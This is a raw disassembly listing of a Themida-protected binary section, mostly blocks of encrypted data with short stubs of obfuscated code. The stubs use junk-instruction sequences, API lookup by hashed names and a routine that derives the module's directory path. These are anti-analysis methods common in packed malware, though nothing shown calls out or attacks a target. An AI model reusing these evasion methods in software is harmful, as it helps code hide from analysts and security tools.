dd 0A730BAE3h, 884DD767h, 0CCD94CECh, 57E889A6h, 0A71192AFh
dd 0F5FFFFFDh, 0E7FD3D4Fh, 6CC7AF57h, 5EA6E7CCh, 5DAF57D7h
dd 57F84EE1h, 24427831h, 57D7A6E2h, 65B39CAFh, 0D8444486h
dd 9401AF57h, 2D64040Bh, 5C193699h, 6E2745AEh, 0FA40E8C1h
dd 0CA57D241h, 0AE2B5100h, 1D866DF1h, 8986211Dh, 23CC450h
dd 0A65F0000h, 0AF57D75Fh, 0A7CBF85Ch, 0D79D9D2Fh, 0CC67AF57h
dd 645D4ED3h, 0E1B10446h, 4CB7B5FFh, 9376128h, 7A17F82Eh
dd 0B013F93Fh, 0C35CC188h, 9846EBAEh, 0E1D0C872h, 99B2B5FFh
dd 0EE4A0728h, 0BD692C41h, 0E1B5F517h, 0A48FB5FFh, 0A6169774h
dd 445FE91Dh, 3EBCA801h, 0D731F315h, 4467EC82h, 0DF4FBh
dd 1950F700h, 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h
dd 61B1C04Fh, 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h
dd 238286C0h, 3A40B606h, 0DB30BA1Dh, 0E55E9BEBh, 0A6EB8CFDh
dd 4F8EAD72h, 258A632Eh, 5F8B3064h, 646982Dh, 0FA0C6AB6h
dd 0B60645BEh, 0F80A43E5h, 5F40665Fh, 892A7039h, 9F00A6EFh
dd 51183BFEh, 0B6E2DBCCh, 60294CD5h, 751330BAh, 32ADA343h
dd 108405E6h, 0D2CD7FABh, 94BCAE48h, 54A3072Bh, 5A610215h
dd 6F9107F0h, 45DA24C4h, 0D9DAEC7Ch, 0D5868h, 753C5B00h
dd 0A4E18E31h, 0D29BBD66h, 247EB54h, 377A1B84h, 0CD4574F3h
dd 0FAA5E1ACh, 2E911558h, 60C3470Eh, 0B636743Dh, 231612B4h
dd 0AEECB606h, 7130BA81h, 0DC64E136h, 5BFAA5F3h, 0A80C8D12h
dd 6649F713h, 2F6204C9h, 7164E236h, 77B6001Dh, 0A6CFB8E5h
dd 0EE4A0FABh, 10B3F720h, 25E6246Dh, 709E4CF7h, 0D16BE38Fh
dd 0B5FFDDD9h, 19780ABh, 0AE1C79C7h, 3AE04BBCh, 0B0F6BFD9h
dd 8320690Fh, 0E54A0322h, 71A9D379h, 53BCAE1Ch, 45F7B0F8h
dd 28A2C8FEh, 0D4168B68h, 0E1E382EBh, 0C0E47872h, 0EC232573h
dd 0D6C35635h, 0A26D4B7Dh, 9013E5D4h, 0CA42Fh, 0C980A700h
dd 0F8BDD27Dh, 2E6701A2h, 5E1B3798h, 8BC667C8h, 1101B03Fh
dd 46E93D70h, 72DD6924h, 0A40F9BD2h, 0EA72C881h, 23D2D670h
dd 6AB0B606h, 0D85CFFCDh, 0D71008B2h, 59F2AF57h, 57D779B1h
dd 0F7E04BAFh, 8B3E1AAh, 0FC0EB4D2h, 0AF57D6BCh, 4A032586h
dd 5DDBB4E5h, 0FFE4E08Bh, 5D89A2B5h, 0F72DE01Bh, 64C71F5Ah
dd 0B5D7F349h, 0B600A475h, 0CEB4E44Fh, 640C865h, 0B600A402h
dd 0F0B9DFC0h, 0A8817AB3h, 0DE97B112h, 0B5E76348h, 0B4ADE886h
dd 0F2ADF416h, 0BC97B5FFh, 0F2AFF777h, 60CBB5FFh, 0CAC7B3BFh
dd 0CC0E1477h, 0FEBE99C0h, 0A09D7CA6h, 1661A23Ch, 0A099D078h
dd 88CA08h, 0FF5D0000h, 5C8A1752h, 0BC44BE1Ah, 3078C2D9h
dd 1A87C26Fh, 0A4FE3CCh, 0C96D01AEh, 0C012AA64h, 39665FE3h
dd 388ECB68h, 70962D8Fh, 144E9CAh, 0DB2D8B9Ch, 0B6003E9Ch
dd 0B71BCD66h, 0B9F32A9Ah, 0BA3897Ah, 83A60000h, 0BED37CCAh
dd 6404AFFBh, 1836992Dh, 0C566C95Dh, 4B53288h, 9A206D0Eh
dd 0D6541939h, 86CF6Dh, 71B5FC9Fh, 0D5D577F5h, 0AFB60624h
dd 52FFC269h, 3355F317h, 0AF57D6F7h, 4C3662CDh, 7BC3h
dd 52FFE600h, 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h
dd 66C5534Ch, 1ECC77A5h, 26ED38DCh, 0D642E6B3h, 25A7FA0Ch
dd 56B9B600h, 1A53F134h, 0DAB8495h, 0F7B2E0C3h, 621071AAh
dd 0C8A1FA27h, 2AB2AC10h, 0B60FACF3h, 0B15h, 0E2387118h
dd 0DD692C41h, 0B9FD672h, 7BCF8AA8h, 0ACFAB7D8h, 0DF809227h
dd 8BAB1492h, 0BDDF40C6h, 6E0DB6F4h, 0E17BE327h, 62563A7h
dd 3C1B21B6h, 0F19D5CFFh, 7A53163Ch, 0DA7A6581h, 0FDA60593h
dd 0F08A175Eh, 0DEDA6C8Ah, 0A4AF57D6h, 0EDB62D8Bh, 0DFD2F1EDh
dd 2491412h, 6CEE0000h, 136CF2EEh, 2D76A24Dh, 0AD0F5001h
dd 2356F016h, 0E1B5FFEDh, 9334D236h, 8A99795h, 51EB1FA4h
dd 0B03FA30Ah, 49D25FF8h, 1CB4D8EBh, 31C98689h, 0FED7C0B4h
dd 0A2E7BEC8h, 93DDB6EAh, 0E0BDA4BDh, 1A57F70Ch, 31924821h
dd 0A949BA12h, 0ECB64D09h, 0B992D77Bh
dd 0BA3C26Dh, 39FE4880h, 39EFD8A1h, 0F2408CCDh, 4E13ECCFh
dd 5100000Ah, 882B7F36h, 0B718AEEBh, 0E142D891h, 11B2084Dh
dd 62E93D70h, 0EFA2C34Fh, 1B56F85Bh, 4900248Fh, 7A3352FDh
dd 18A2B82Ch, 0B6062620h, 0FF7FA4E2h, 7EFE9F52h, 57D6CCCCh
dd 0A49DB6AFh, 77A566CBh, 20EC1ECCh, 0E2B60615h, 8C779D49h
dd 0DCDC6EE6h, 0A6B60614h, 9B04948Dh, 0CF70B6FBh, 0DBC4E2AFh
dd 0F3ACF1B8h, 83941950h, 419D0EAAh, 985BDA37h, 4BED534Eh
dd 0C7E358FCh, 9A2B6F99h, 3E19B606h, 0ABD670FAh, 0BDBCAEBCh
dd 0BCB5F517h, 0A48FBCAEh, 4561CA74h, 3175385Ah, 429EC8Eh
dd 0D2CBDC41h, 2E914Dh, 69CFD845h, 3AEEA7C6h, 0EC7C1BB6h
dd 964839FAh, 99000009h, 0D073B7FEh, 0FFA0E6A3h, 298A1059h
dd 59FA4005h, 0AA317538h, 276A0B07h, 531E40E3h, 81C86CD7h
dd 0B2FB9A05h, 0D06AF074h, 0B60626D8h, 91C76CAAh, 57D73969h
dd 169F34AFh, 0E9DA7A43h, 8099064Fh, 0AAC97397h, 98B5FFF9h
dd 8BA80BBFh, 0E04861CEh, 57FF997Ah, 59AF67AFh, 0BB0FF8F4h
dd 0F317AC00h, 0AA94C949h, 6A90BBBCh, 76A2EB89h, 0EE1846ECh
dd 0BCAA94AAh, 0B679BF98h, 0E748DE97h, 8E4FEC44h, 5FA19923h
dd 0C863BCAAh, 0F9285A3Eh, 0C57FBBCDh, 0EA45BCAAh, 13C3D7F1h
dd 0EECDEC80h, 8F415h, 1950F700h, 480D228Dh, 7E3751F2h
dd 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h, 0C26DB9F4h
dd 0F45FEBA2h, 1A821851h, 288286C0h, 3A40B606h, 3859BA1Dh
dd 0B9FF2875h, 57D767AFh, 50193CAFh, 44862CCAh, 0AF57D744h
dd 483153Eh, 4DFF2B90h, 0B60026F8h, 5A4561CAh, 0C937733Ah
dd 0AEEE46E6h, 1A39AC9Ch, 6942EFD8h, 753C60CFh, 85C06E51h
dd 3AA90F18h, 84D5AA2Ch, 7839D985h, 8734F30h, 0E76A0000h
dd 0F7D80EB5h, 829B1851h, 2BBACC16h, 19B5FFE2h, 52DF96B6h
dd 940E859h, 4B4B9310h, 67B5FFE2h, 3B17238Ch, 0C21477DDh
dd 1A9h, 145DFF65h, 3974168Fh, 0E9856EF4h, 821607ACh, 93377E1Dh
dd 0D6D7D375h, 82ADAF57h, 48ECB516h, 3A0E589h, 4AF5312Ah
dd 426C822Ah, 3FAEA0EAh, 0FE50D946h, 5B67A145h, 0DAF583Fh
dd 3F65A5E7h, 0F45FAF58h, 15B19AA4h, 755505C3h, 0A81C09h
dd 2A6302A3h, 367B1C85h, 5A1738E9h, 278CC4D5h, 9FDA777Eh
dd 0E1201912h, 0C0646B34h, 85D73D89h, 5FA356B3h, 0F5BAFEF6h
dd 49911E57h, 0AF57F845h, 30AAB00h, 74922861h, 0F87CBCCEh
dd 7E4EAF57h, 7DE2FC13h, 8F277171h, 0A15ECF11h, 139404FDh
dd 77B3D5A3h, 4DAF584Ch, 31D04103h, 0EBC4B435h, 7EB2D4F2h
dd 60AF5839h, 0F94DD7Fh, 3971A9D3h, 0F853AF58h, 0CC67A90Fh
dd 6E13DC1Eh, 0D5AF4643h, 1F3FE043h, 0C52ED452h, 0E34CECA9h
dd 0A10E43h, 168F145Dh, 30F13E77h, 40E4450Ch, 5CC9A409h
dd 10BD44D3h, 0ABE6888Fh, 600EF11Fh, 63C08DADh, 58C7514Ah
dd 644F7B36h, 0BD2E8ACFh, 59BD57A1h, 3AD09BBDh, 308B29FEh
dd 2E09708Ah, 50FBB600h, 44862CCAh, 0B6002E44h, 1C83153Eh
dd 7CEA377Ah, 0F59185FAh, 0B9FF6C60h, 0D7F34CEEh, 0A22646A9h
dd 812018h, 5049E2B6h, 810E0ED8h, 5BF4B600h, 0F9BA13D6h
dd 891D50F2h, 97D28063h, 0B1FC9E01h, 0C184AA15h, 8133F457h
dd 573240DBh, 0E5367B36h, 0CE882FEDh, 29763F5Dh, 59E307F0h
dd 0BCA8912Eh, 201FDA14h, 583FB95Fh, 0D678DB6Fh, 91B17013h
dd 6D4657DCh, 0D576D7C0h, 29021B98h, 0BA12329Dh, 0BFC5F895h
dd 21655E36h, 0EFB5E7FAh, 443ABC3Ch, 0CCFAD3B4h, 58BFBAh
dd 1C3EA1B6h, 9639C751h, 5EC3BCF9h, 59EDA8C5h, 632E50B3h
dd 604BED3Eh, 0A00DB4E7h, 57D75EA6h, 6E2745AFh, 953D60C1h
dd 0BF3B283Bh, 38655E05h, 0DD5CC572h, 3B37F853h, 12DFC74Fh
dd 0EA2E5886h, 0D8AF57F3h, 541B397Fh, 2C000000h, 0AEEA1CBAh
dd 94AF57D6h, 9DB27DBBh, 618F5BD8h, 57D6E327h, 474385AFh
dd 3DAF57D7h, 3167D012h, 57D6F337h, 4BB4EEAFh, 0EE3F642Dh
dd 4950D14Ah, 5A456124h, 5E247439h, 60294FB0h, 0FC3A3EC8h
dd 0A0E1AF57h, 0FFFFFF84h, 0AEEA1CBAh, 94AF57FBh, 0FF367DBBh
dd 0BA30155Ch, 2C713459h, 7DBDCFFBh, 47AF57D7h, 0C2DF4CECh
dd 180DB4E7h, 0B0D33CDAh, 0F474BFF9h, 15DFCAE8h, 3DEFh
dd 0B4E73000h, 50B3D90Dh, 5C5C6623h, 26AF57D7h, 0BA80AB0Dh
dd 57D70800h, 7451FAAFh, 52FFDDBAh, 30BA3217h, 45316A41h
dd 0ABEF1999h, 99AF5853h, 0CE64C5BEh, 63B82D8Bh, 40DFh
dd 0B4E7FA00h, 59BA180Dh, 3C26723Bh, 57D78E8Ah, 953757AFh
dd 0AF57D795h, 0FEEBC46Fh, 933B59BAh, 672D7C2Dh, 901DF659h
dd 0E1D96387h, 0A3AF5893h, 5D3A2088h, 57F652FFh, 92D807DAh
dd 0C5998E67h, 1059FFE0h, 0D74F4B93h, 0A10AAF57h, 165FF900h
dd 0E7A57690h, 5076AF57h, 8FF8CF06h, 85E6C057h, 2902AFE6h
dd 0F3DE008Fh, 90DAFFFFh, 9E3F0D3Fh, 0B0FB3DFBh, 931752FFh
dd 8B3F8428h, 0AD271h, 6C0FB0B6h, 0B6AFF825h, 0B160EA10h
dd 0BFCEA195h, 2E65A56Dh, 0F45FB600h, 0FF07C7A4h, 9BB6002Dh
dd 77636F30h, 96147785h, 11h, 80B8C268h, 42B60036h, 0DF644FE9h
dd 1, 0EB5E7FAh, 0EF63AED8h, 3B21B5FFh, 0FFEF8981h, 0E7D07BB5h
dd 2143ACBAh, 325FC068h, 0AFD53377h, 0FFEF1D1Dh, 9E4CE7B5h
dd 0FFEF2C6Ch, 0FB3D16B5h, 0FFEF536Dh, 652C50B5h, 97DE7E21h
dd 619ADC0Ah, 0D6211107h, 234978B0h, 1F268F64h, 2D96347Dh
dd 6DC410Ch, 16C4C4h, 0BC95BEB6h, 0E2D967Ch, 5CFF6047h
dd 5ECF3215h, 0E6AFCED5h, 18F49982h, 0FF135FCAh, 0B8h
dd 0EA1CBA40h, 0AF57D6AEh, 0AA7DBB94h, 0D74C5E08h, 0E066F0Ah
dd 0D8B1FC9Dh, 500BAE3h, 0DCAF57D7h, 1CBA9673h, 54D990B3h
dd 0CBCED543h, 5CFFEC6Fh, 0E6C33015h, 0AEEA1CBAh, 94AF57D6h
dd 65284ABBh, 0FE49EF38h, 0DA07E45Fh, 0CAE8F4FDh, 2FEF15DFh
dd 30000000h, 0EDD530BAh, 0E55F5685h, 0FA41F4B3h, 800BA0Dh
dd 0FAAF57D7h, 0DDBA7451h, 0FC9F52FFh, 0C52EDCB5h, 524BE8A5h
dd 0E0C5DDC6h, 2CDFh, 0B4E7FA00h, 0B6AFE685h, 0EB74C610h
dd 0A36214E2h, 9D2CDD2Bh, 8028D089h, 800BA9Bh, 0D9AF57D7h
dd 251E5BF8h, 0FFDDBA40h, 0C5321752h, 0FF44DFE0h, 0D83BFFFFh
dd 72B9FFBAh, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h
dd 1D82CB6Ah, 3497130Ch, 7D8F3B80h, 0B5FFF612h, 1C1CAED4h
dd 0E6B5FFF6h, 0F6424680h, 1700B5FFh, 0FB54FA3Eh, 0F670B4B6h
dd 0A70CB5FFh, 0CD00FCFEh, 25E71477h, 38000000h, 0D80EB5E7h
dd 54FAEh, 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0E0C414h
dd 359E0000h, 0D5DE5A13h, 763F59BAh, 97DE7D22h, 0B5F8990Ah
dd 0DD94B768h, 0B298A50h, 6CCCDD42h, 3DE9A0C3h, 0BCFCB1D2h
dd 16AE28D6h, 63E74461h, 2C242276h, 77AF588Eh, 0F23650D4h
dd 0B1AF588Dh, 5851DE97h, 0CF79AD86h, 0AF588DCBh, 1A59EB9h
dd 692A15F7h, 58C2DBDFh, 748EA9AFh, 178160F2h, 2A6302ADh
dd 2B900485h, 9C1E4DFFh, 4BE4B600h, 53E84CFFh, 3E2415B7h
dd 351EBCABh, 0D74A4791h, 0F805E108h, 0F4241D54h, 0A9E4856Eh
dd 0DC91B21Dh, 7FF0982Ch, 4A3BF8ECh, 29Dh, 6AB0F9A0h, 0A5E1A4C9h
dd 93175EFAh, 0C3470230h, 34723F60h, 67080AAFh, 13339C2Ah
dd 0C567C85Eh, 0F6953E8Ch, 69F36BBFh, 62DDBDFh, 0C463A9B6h
dd 97135EFFh, 7B8D092Ch
dd 0AF57D73Fh, 95312A05h, 0D444092Ah, 1CBA416Eh, 0AA6FACDAh
dd 0D9E1D652h, 0AF5816E1h, 70345A3h, 0FDAF5817h, 683F7952h
dd 1008B2C4h, 0F2AF5817h, 17367294h, 230CAF58h, 0FB5514Ah
dd 0C20480A4h, 0AF5816C6h, 7EBA93BCh, 4495E8h, 0C0684BB6h
dd 8C3E2489h, 0B600448Ch, 0B4E4DD76h, 0FA7CA18Ah, 0B60043BAh
dd 80A30CD6h, 2BF46FC9h, 77BB332Fh, 0E0DA14h, 0FF6D0000h
dd 6AAED85Ch, 58AF57D7h, 89906FFh, 45852A67h, 0AF57DB8Dh
dd 83CE7053h, 4AB0D1Eh, 74922861h, 0C55495E2h, 72A6DA17h
dd 5AC78EADh, 22D863D1h, 13464284h, 133CAF58h, 0BE2D5F85h
dd 0A0B60022h, 0CF541D3Fh, 7AB45ADEh, 9C8632D8h, 90A33B47h
dd 3A91CE4Ch, 15F33720h, 0B35D5DEFh, 0C27B600h, 2B91BACh
dd 5216A2E4h, 0CBECBCABh, 0D90DE6ABh, 961B52F6h, 0E6C91385h
dd 92DF8045h, 0E7231C0Dh, 619B1B3Ch, 0BCAB5229h, 0A147301Bh
dd 0EC7F860Dh, 56D3AC0Fh, 59000001h, 9033773Eh, 0BF60A6E3h
dd 0E94AD099h, 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h
dd 41082C97h, 723B5AC5h, 10AAB034h, 0B6062F18h, 0BA87ACEAh
dd 689E5130h, 0F4258AC7h, 9F9200FAh, 0B8F59619h, 0EBA2C162h
dd 5CFF705Fh, 74178815h, 225095B5h, 80218E67h, 100996D3h
dd 4FF84E27h, 16B056EDh, 0B5FFF9EBh, 22487ED9h, 50B422A8h
dd 36623CD3h, 783CA69h, 73B0F99Ch, 15B10AAAh, 254885AAh
dd 3F25736Ch, 0AEEEF98Dh, 0B860CBBCh, 0EC7BEA10h, 0BEB21390h
dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh
dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh, 0EAA3C26Dh
dd 0E812C85Ch, 0B6062FB0h, 0E7EF5492h, 0B2D80EB5h, 57D71008h
dd 0DF59F2AFh, 141FF315h, 4AE5B606h, 50193CE5h, 612449AAh
dd 0C74DEB3Ch, 3370395Ch, 30B55E2Bh, 0CF7771Ah, 0AFF8256Ch
dd 0C855103Eh, 41E259DFh, 0BBDA1B3Ah, 77D5713h, 0F5EED54Fh
dd 1008B2A8h, 0F21A3018h, 53776059h, 3062CE70h, 9A332E01h
dd 0C54FE9C2h, 2D723B5Ah, 6F9BDE74h, 0ADE484h, 0DF228117h
dd 7262DF6h, 1537984Eh, 53337791h, 26111A30h, 61B7E04Dh
dd 5C15389Bh, 36ED7h, 0B0490000h, 1158FFCBh, 3970138Ch
dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
dd 0CD84A47Dh, 0D792BF60h, 5455FA4Ah, 4C5815Dh, 83000000h
dd 2C8704EDh, 0DA685C24h, 8900006Dh
; ---------------------------------------------------------------------------
xor al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push eax
mov eax, 464A5C56h
xor eax, 4D08248Dh
mov esi, 0DEC4749h
xor esi, eax
pop eax
push 5F7Ch
mov [esp], esp
add dword ptr [esp], 4
pop eax
push 410Ah
mov [esp], esi
sub dword ptr [esp], 269F7ABFh
pop dword ptr [eax+8]
add dword ptr [eax+8], 269F7ABFh
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 0F8h
dd 679D0B55h, 0CF8CAD11h
db 4Eh, 49h, 0BCh
; ---------------------------------------------------------------------------
loc_5AF4CF: ; CODE XREF: Themida_:005AD8DCj
mov eax, 6AE5A21h
add eax, ebp
push eax
mov byte ptr [ebp+6A815D5h], 47h
push 0CF381725h
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
mov ebx, eax
lea eax, [ebp+6A822DDh]
push eax
push 104h
call ebx
mov byte ptr [ebp+6A815D5h], 53h
push 8307F8BFh
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
mov [ebp+6AE3D70h], eax
cmp dword ptr [ebp+6A80061h], 0
jz loc_5AF539
mov ebx, [ebp+6A81F25h]
jmp loc_5AF53E
; ---------------------------------------------------------------------------
loc_5AF539: ; CODE XREF: Themida_:005AF528j
mov ebx, 0
loc_5AF53E: ; CODE XREF: Themida_:005AF534j
push 100h
lea esi, [ebp+6AE3D74h]
push esi
push ebx
call dword ptr [ebp+6A82C4Dh]
lea esi, [ebp+6AE3D74h]
add esi, eax
jmp loc_5AF55F
; ---------------------------------------------------------------------------
loc_5AF55E: ; CODE XREF: Themida_:005AF56Bj
dec esi
loc_5AF55F: ; CODE XREF: Themida_:005AF559j
cmp byte ptr [esi], 5Ch
jz loc_5AF571
cmp byte ptr [esi], 2Fh
jnz loc_5AF55E
loc_5AF571: ; CODE XREF: Themida_:005AF562j
mov byte ptr [esi], 0
lea eax, [ebp+6AE3D74h]
push eax
call dword ptr [ebp+6AE3D70h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
dd 305E4773h, 642CDB69h, 446907D3h, 15328052h, 270CCB24h
dd 41AFB792h, 7DCEA906h, 5F0F61EAh, 17C459EEh, 697B38h
dd 51A5E607h, 4FA846A8h, 618AB382h, 53E13748h, 18A08190h
dd 32EC2AC3h, 3C2E2381h, 0B6F3925h, 670A8F07h, 7713A14Fh
dd 59D7A365h, 774B266Eh, 2ED99053h, 1B4E4A18h, 7E8h, 0AF32A000h
dd 700196C3h, 5B12D980h, 14E9h, 0B6942300h, 9A1317C8h
dd 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh, 95C381BAh, 0F00006Fh
dd 689h, 0D3C98100h, 687B06F1h, 1BACh, 0AE9h, 65F51F00h
dd 33D67D9Ch, 58AB0AD7h, 2814EA81h, 3B8B14A8h, 14E8h, 9001B600h
dd 81DD5202h, 5AA3BFh, 4D5D51DCh, 3F294F1Bh, 59D08B8Dh
dd 0A9F781h, 0F1811F92h, 62876B1h, 0EF7BC781h, 0EE801D5Fh
dd 8CC7817Bh, 810B3346h, 76B174F1h, 0CE8B575Bh, 0F08B038Fh
dd 9FEB81h, 81FC675Bh, 5B009BC3h, 88A0F67h, 0F000000h
dd 28Eh, 48595700h, 17850Fh, 0ED800000h, 28E9AFh, 37FC0000h
dd 0B8E5DEEBh, 613B94B6h, 0BD884DF8h, 0E9CA8B83h, 0FFFFFF7Ah
dd 57045A9Fh, 117D3997h, 90BCCE8Bh, 0BFCC8477h, 1DE93D44h
dd 85000000h, 353A67h, 6 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5AFC48
; ---------------------------------------------------------------------------
db 13h, 74h, 3Dh
dd 6C2946E9h, 9AD375DEh, 0CA8FA30Ch, 0FFB2D37Ch, 858D2CABh
dd 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h, 335E5AECh
dd 0E624B606h, 9D5CFF39h, 55103EFFh, 0B9E6DFC8h, 0B5B79660h
dd 0A7ED18A7h, 91B718CEh, 88612850h, 41E24320h, 0B2ABEE84h
dd 0C386AB14h, 2144EF55h, 3B5ACB68h, 0DF742D72h, 0CDBE159Ah
dd 773E5D64h, 0A5EC9033h, 0D79EBE61h, 431FB933h, 0C538365Fh
dd 0F2FF053h, 2244DD42h, 110A47E7h, 0F434568Ch, 0CEAF58B4h
dd 2F620465h, 0E6226482h, 0DCAF58B4h, 0FEA70C73h, 0BA7B507Fh
dd 42D891B3h, 52173BA4h, 733A59C6h, 0AC76C57h, 0EA4E276Eh
dd 0B4B6F179h, 9704AF58h, 8100C0Eh, 62F712DFh, 48000000h
dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 268955DAh, 1BED4B02h
dd 0AF57D71Dh, 0ABA7086Fh, 12DFD6BFh, 15Eh, 52FFE100h
dd 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h, 5CF2534Ch
dd 732C9F19h, 0C8169BDEh, 24DB0D8Eh, 0B3E44900h, 5731C83Bh
dd 75305EC1h, 4FD04528h, 0D86E2B48h, 99DD477h, 135EFF22h
dd 0F078158Eh, 0D6F8304Ah, 61CAAF57h, 57D76159h, 1F0823AFh
dd 0FDA60F92h, 821855F6h, 0E64B0221h, 0A24FFE78h, 0E92E4A0Fh
dd 0F1B8E04Fh, 0BE67CCACh, 0DF3C30BCh, 8C5712h, 0BAE80000h
dd 7919F930h, 1F996CFAh, 0A243EF90h, 0C533D0F8h, 0BB3DE9C2h
dd 0E6886371h, 7DA053ABh, 990AF93Fh, 0B869B6FFh, 0CF50DD94h
dd 99912BA3h, 6BAF5870h, 0C74AD7C0h, 0E736C56Eh, 85A6AD76h
dd 0B0D172C8h, 68D5EA1Ch, 0FF84A59h, 0C96D01A2h, 83E70977h
dd 0F43912A0h, 0E4F6BF14h, 12DFA2F8h, 791Fh, 5EFF2000h
dd 77158E13h, 0A5DFF13Eh, 41C11153h, 7CFBD8Fh, 7D9B77FEh
dd 63A5413Ah, 0AF587027h, 0DE6321Dh, 0B1FC9DA4h, 52FF4E75h
dd 6F10F317h, 0D515F622h, 0AF57D6D2h, 0BBF8BDD1h, 9A074EEAh
dd 9EFEA71Ch, 68951FE5h, 441EF750h, 2182CE57h, 3AEB480Dh
dd 0D1CA571Eh, 0A8E187F8h, 1286120Bh, 12DF1026h, 11C1h
dd 0A2519B00h, 4BC3D055h, 0B1249852h, 718CE252h, 59FFFC27h
dd 73129310h, 7D668C3Ah, 1F0895D0h, 57D6B3F7h, 0E2E91AFh
dd 0E8C1DA47h, 0B71CE340h, 841E7EEh, 10AB09B2h, 0FE3A4CEAh
dd 0C4AF57D6h, 1CB05E8Ah, 8F7833D9h, 0E9367F1Eh, 48F278B0h
dd 0B600C6F1h, 6A3B78D3h, 9B0482CBh, 0F66CB1F8h, 0C6FA3E48h
dd 6FC8B600h, 0C6F93FC9h, 6E45B600h, 5E9FBEC5h, 0F029763Fh
dd 8D6BCDE6h, 3F28E589h, 6C2548EBh, 84D11BC7h, 4D48F26Dh
dd 0BFDE41D7h, 4DE6A9F6h, 173798E4h, 63C4D55Ah, 7F2088C1h
dd 0EB1195DCh, 8B2D6408h, 771F332Fh, 158DA14h, 0E76D0000h
dd 0F7D80EB5h, 0BFF69257h, 0DF403972h, 0BCA6F2BFh, 6C70Ah
dd 0D92BDB6h, 62B8F194h, 0EC2C5E84h, 0D6B60006h, 0D1743B7Dh
dd 6F73355h, 62CDB600h, 0CC375D89h, 6CBDE2A7h, 766A2h
dd 0A5F35CB6h, 773E5DC6h, 65CE672Ah, 30763F5Eh, 77E6A884h
dd 5B4F14h, 0EB110000h, 40501261h, 7F877FF8h, 0B6006D3Bh
dd 788AC768h, 6CB0E812h, 0B992B600h, 0E74368C0h, 0ADDF0BB6h
dd 2F57D74Dh, 57971C37h, 2F57D753h, 3E632E50h, 278CC965h
dd 0C756DF4Ch, 4C5BC473h, 10AA50EBh, 0AF57D6F8h, 3F2561CAh
dd 0D371B0D4h, 2B04159Ah, 0BC039586h, 0A6h, 0EB5E79Fh
dd 3751B2D8h, 0B0F8317Eh, 0AD7B6h, 72689B6h, 60C8E14Eh
dd 772875DEh, 0E3099DD4h, 0B070345h, 52FDB600h, 733A59C6h
dd 0BE72C2Eh, 2953B600h, 42EFA6C6h, 1E5BF869h, 0BB109891h
dd 1950F3FAh, 0EC9A3A8Dh, 0C040446h, 55FEB600h, 0C6DADh
dd 3FC57B6h, 692BA5E7h, 3E19BCAEh, 0EE8A75F1h, 8FAE71A7h
dd 45E82D4Eh, 9D76A70Ch, 0D3F87FA4h, 0D2E15352h, 64B5FAB3h
dd 0B32D5F8Bh, 0B5C35CC5h, 0C360254Ah, 1F804EEAh, 0BEEF347Dh
dd 2BB92B24h, 635C42BDh, 87BF3927h, 59C7F7FAh, 1F56F556h
dd 0B5E79299h, 30AED80Eh, 12B60634h, 82BF439h, 4EE010A0h
dd 554E71AFh, 7B8D2BD1h, 0B6067C3Fh, 218E2A05h, 64E64B02h
dd 0E99A81F5h, 7F862F9Ch, 8E7195DCh, 2F78A5E0h, 0FDA00389h
dd 98B66FB4h, 249150DDh, 718B317Bh, 0E99A8239h, 2788200Bh
dd 8A4C504h, 9E4B790Bh, 0DF443DE7h, 0EE51D5CEh, 2899064Fh
dd 3, 0FFCBB003h, 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h
dd 752E733Eh, 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h
dd 20DF68h, 24348900h, 0C8568h, 241C8900h, 5E8668h, 24048900h
dd 6F7FB850h, 0BB5329ACh, 5DDD7441h, 0C15BD821h, 0BB2D08E0h
dd 2D22700Bh, 59453ADDh, 0A68435h, 58C38916h, 24048B54h
dd 8304C483h, 1C8904ECh, 8408F24h
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 0DEh, 0AAh, 3Fh
dd 3EE7BD44h
; ---------------------------------------------------------------------------
loc_5AFC48: ; CODE XREF: Themida_:005AF6F4j
mov eax, 6AE61B7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F1h, 84h, 6Dh
dd 42076B37h, 8DA83251h, 9E872h, 74FE0000h, 0C52E477Fh
dd 6613C97Ch, 0B15FD78Bh, 14C78160h, 0F000071h, 118Dh
dd 0B800F00h, 0E8000000h, 5, 8B99D673h, 7B859D6h, 81741B41h
dd 0E4DB1EC0h, 0FFEC8A8Bh, 0C9816637h, 8B5B5165h, 24C381F2h
dd 8B1FCF71h, 0CCC381CBh, 602789E9h, 61F9B70Fh, 0C2DFF381h
dd 0BF0F6F59h, 561F89F2h, 5AF1BF0Fh, 6602EF83h, 4FDBB9BAh
dd 0EA81664Fh, 0E881B7CFh, 1, 0FFB9850Fh, 0B966FFFFh, 5E80992h
